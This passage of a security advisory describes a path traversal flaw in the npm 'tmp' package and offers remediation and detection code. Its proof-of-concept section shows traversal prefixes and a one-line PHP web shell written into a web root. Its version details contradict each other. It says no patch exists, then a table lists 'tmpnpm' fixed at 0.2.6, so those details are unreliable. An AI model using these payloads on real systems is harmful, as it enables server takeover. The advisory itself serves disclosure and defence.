Multi-Vector Attack:** ```javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``` **Real-World Attack Simulation:** ```javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``` ### Impact **Arbitrary File Creation:** - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability **Attack Scenarios:** **1. Web Application Configuration Poisoning:** - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart **2. Cache Poisoning:** - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users **3. Build Pipeline Compromise:** - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production **4. Container Escape Attempt:** - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas **5. Multi-Tenant Service Bypass:** - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation **Business Impact:** - **Data Integrity:** Unauthorized file placement can corrupt application state - **Service Disruption:** Files in wrong locations may break application functionality - **Security Bypass:** Escape temporary isolation boundaries - **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations ### Affected Products - **Ecosystem:** npm - **Package name:** tmp - **Repository:** github.com/raszi/node-tmp - **Affected versions:** All versions with vulnerable path construction logic - **Patched versions:** None currently available **Component Impact:** - `tmp.file()` function - vulnerable to prefix/postfix/dir traversal - `tmp.dir()` function - vulnerable to same parameter manipulation - `tmp.tmpName()` function - if using affected path construction **Severity:** High **CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) **CWE Classification:** - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### Remediation **Input Validation and Sanitization:** 1. **Sanitize prefix/postfix:** ```javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``` 2. **Validate dir parameter:** ```javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``` 3. **Post-construction path validation:** ```javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``` **Secure Implementation Pattern:** ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``` ### Workarounds **For Application Developers:** 1. **Input Sanitization:** ```javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``` 2. **Path Validation:** ```javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``` 3. **Restricted Usage:** ```javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``` **For Security Teams:** 1. **Code Review Patterns:** ```bash # Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``` 2. **Runtime Monitoring:** ```javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``` ### Detection and Monitoring **Static Analysis:** - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories **Runtime Detection:** ```javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``` **File System Monitoring:** ```bash # Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``` ### Acknowledgements **Reported by**: Mapta / BugBunny_ai
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| tmpnpm | <0.2.6 | 0.2.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard